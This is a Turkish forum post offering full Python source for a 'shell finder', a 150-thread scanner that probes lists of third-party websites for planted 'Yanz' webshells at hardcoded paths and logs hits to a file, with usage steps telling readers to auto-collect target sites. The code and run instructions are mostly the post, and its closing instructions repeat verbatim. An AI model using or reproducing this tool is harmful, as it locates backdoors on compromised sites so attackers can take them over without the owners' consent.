Merhabalar Ben CommandBEY, Bugün ki konumuz shell finder nedir ve nasıl yazılır bunları ele alacağız.
Shell Finder Nedir?
Shell Finder, Hedef sitelere belirli payloadlar (shell isim listesi) ile deneme yanılma yolu ile shell bulmaya çalışan bir exploit türüdür.
Kod Hali;
Python:
import sys
import requests
import re
import random
import string
from multiprocessing.dummy import Pool
from colorama import Fore
from os import system
import platform
osname = platform.system()
if osname == "Windows":
system("cls")
elif osname == "Linux":
system("clear")
banner = Fore.GREEN + """ ##### ###### ####### # #[/COLOR]
[COLOR=rgb(255, 255, 255)]# # #### # # # # ## # # ##### # # # # #[/COLOR]
[COLOR=rgb(255, 255, 255)]# # # ## ## ## ## # # ## # # # # # # # #[/COLOR]
[COLOR=rgb(255, 255, 255)]# # # # ## # # ## # # # # # # # # ###### ##### #[/COLOR]
[COLOR=rgb(255, 255, 255)]# # # # # # # ###### # # # # # # # # #[/COLOR]
[COLOR=rgb(255, 255, 255)]# # # # # # # # # # # ## # # # # # #
##### #### # # # # # # # # ##### ###### ####### #
Coded By CommandBEY""" + Fore.RESET
print(banner)
requests.urllib3.disable_warnings()
try:
hedef = [i.strip() for i in open(sys.argv[1], mode='r').readlines()]
except IndexError:
yol = str(sys.argv[0]).split('\\')
exit(Fore.RED + '\n[+] Lütfen Örnekteki Gibi Girin <' + yol[len(yol) - 1] + '> <sites.txt>' + Fore.RESET)
def ran(length):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
shell_list = ['/ioxi002.PhP7','/ynz.PhP7','/themes.php','/erin1.PhP7','/fosil.php','/ws.php.php','/ws.php','/wp-admin/user/wp-login.php','/wp-includes/images/wp-login.php','/.well-known/pki-validation/wp-login.php','/wp-admin/wp-login.php','/wp-includes/wp-login.php','/cgi-bin/wp-login.php','/.wp-cli/wp-login.php','/wp-content/uploads/wp-login.php']
class EvaiLCode:
def __init__(self):
self.headers = {'User-Agent': 'Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36'}
def URLdomain(self, site):
if site.startswith("http://"):
site = site.replace("http://","")
elif site.startswith("https://"):
site = site.replace("https://","")
else:
pass
pattern = re.compile('(.*)/')
while re.findall(pattern,site):
sitez = re.findall(pattern,site)
site = sitez[0]
return site
def denetleme(self, site):
try:
domain = self.URLdomain(site)
for Path in shell_list:
full_url = "http://" + domain + Path
response = requests.get(full_url, headers=self.headers, verify=False, timeout=60)
check = response.content
if b"Yanz Webshell!" in check:
print('Hedef:{} --> Başarılı'.format("http://" + domain))
open('Sheller.txt','a').write("http://" + domain + Path + "\n")
break
else:
print(Fore.RED + 'Hedef:{} --> Başarısız'.format("http://" + domain) + Fore.RESET)
except Exception as e:
print(e) # herhangi bir hata alırsa hatayı yazdırır
pass
Control = EvaiLCode()
def Runfinder(site):
try:
Control.denetleme(site)
except Exception as e:
print(e) # herhangi bir hata alırsa hatayı yazdırır
pass
mp = Pool(150)
mp.map(Runfinder, hedef)
mp.close()
mp.join()
Dosya Hali
Tıkla --> VirüsTotal
shell_list değişkenindeki yollara bakıp eğer içeriğinde 'Yanz Webshell!' yazıyorsa shellin var olduğunu bulup bunu dosya'ya kaydeder, Kısacası Yanz Shell buluyor.
Örnek Yanz Shell;
Şimdi ise exploiti çalıştıralım, Eğer exploitin nasıl çalıştığını bilmiyorsak (parametrelerini) python dosyasını çalıştırarak öğrenebiliriz.
Evet, Sadece sitelerin bulunduğu txt dosyası verebilirmişiz, siteleri oto collect (otomatik toplama) araçlarından toplayabilirsiniz.
sitelerin olduğu site.txt dosyası, Şimdi exploiti çalıştıralım
Parametre olarak sadece txt dosyamızı vermemiz yeterli, Sonrasında bize beklemek düşüyor.
Eğer başarılı bir site olursa onu 'sheller.txt' adlı txt dosyasına kaydeder.
Konumu okuduğunuz için teşekkür ederim.
Tıkla --> VirüsTotal
shell_list değişkenindeki yollara bakıp eğer içeriğinde 'Yanz Webshell!' yazıyorsa shellin var olduğunu bulup bunu dosya'ya kaydeder, Kısacası Yanz Shell buluyor.
Örnek Yanz Shell;
Şimdi ise exploiti çalıştıralım, Eğer exploitin nasıl çalıştığını bilmiyorsak (parametrelerini) python dosyasını çalıştırarak öğrenebiliriz.
Evet, Sadece sitelerin bulunduğu txt dosyası verebilirmişiz, siteleri oto collect (otomatik toplama) araçlarından toplayabilirsiniz.
sitelerin olduğu site.txt dosyası, Şimdi exploiti çalıştıralım
Parametre olarak sadece txt dosyamızı vermemiz yeterli, Sonrasında bize beklemek düşüyor.
Eğer başarılı bir site olursa onu 'sheller.txt' adlı txt dosyasına kaydeder.
Konumu okuduğunuz için teşekkür ederim.